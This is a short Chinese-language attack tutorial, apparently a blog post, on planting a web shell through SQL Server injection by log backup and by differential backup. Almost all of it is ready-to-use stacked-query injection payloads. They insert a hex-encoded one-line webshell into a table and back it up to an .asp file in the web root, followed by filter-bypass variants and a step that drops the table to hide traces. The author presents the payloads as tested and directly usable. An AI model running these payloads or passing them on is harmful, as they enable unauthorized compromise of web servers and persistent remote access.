log備份這是一種導出日志文件到web路徑來getshell的方法
本次簡述一下通過sqlserver進行getshell的兩種方法,payload可以直接拿來用,話不多說,直接往下看就完事了
優勢:
1、重復性好,多次備份的成功率高
2、相對於差異備份而言,shell的體積較小
利用條件:至少DBO權限
1、前提得知絕對路徑,並且可寫
2、站庫不分離
3、數據庫必須被備份過一次
第一步:
;alter database 庫名 set RECOVERY FULL--
第二步:
;create table 數據庫名..表名(a image)-- //建表
第三步:
;insert into 數據庫名..表名(a) values (0x一句話木馬)-- //插入一句話木馬到表中,注意16進制
第四步:
;backup database 數據庫名 to disk = 'c:\www\panda.bak'-- //先手動給test1備份一遍
第五步:
;backup log 數據庫名 to disk = 'c:\www\panda.asp' with init-- //利用log備份到web路徑getshell
第六步:
;Drop table 數據庫名..表名-- //刪除表
差異備份的條件:至少DBO權限
1、前提知道絕對路徑,路徑可寫。
2、HTTP 500錯誤不是自定義
3、WEB和數據在一塊。還有的就是數據庫中不能存在%號之類的,不然也是不成功的。
4、數據量不能太大
第一步:
;backup database 庫名 to disk = 'c:\bak.bak' ;-- //先手動備份一次
如果被過濾,用下方的payload:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x備份路徑\xx.bak backup database @a to disk=@s-- //0x備份的數據庫名轉換成16位進制,db_name()里面可以加數字備份不同的數據庫
第二步:
;create table 數據庫名..表名(a image)-- //建立表,加字段
第三步:
;insert into 數據庫名..表名(a) values (0x一句話木馬)-- //插入一句話木馬到表中,注意16進制
第四步:
;backup database 庫名 to disk = 'c:\shell.asp' with differential , format ;-- //進行差異備份
如果被過濾,用下方的payload:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x備份路徑\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- //備份到路徑\xx.asp,前提是已得知路徑,注意轉換為16進制,假如備份的路徑為c:\webroot\panda.asp ,訪問查看是否備份getshell成功
第五步:
;Drop table 數據庫..表名-- //備份完getshell過后刪除表
文中的方法和payload親測可用的,至於圖片,可以稍微的自行腦補,在注入點上操作即可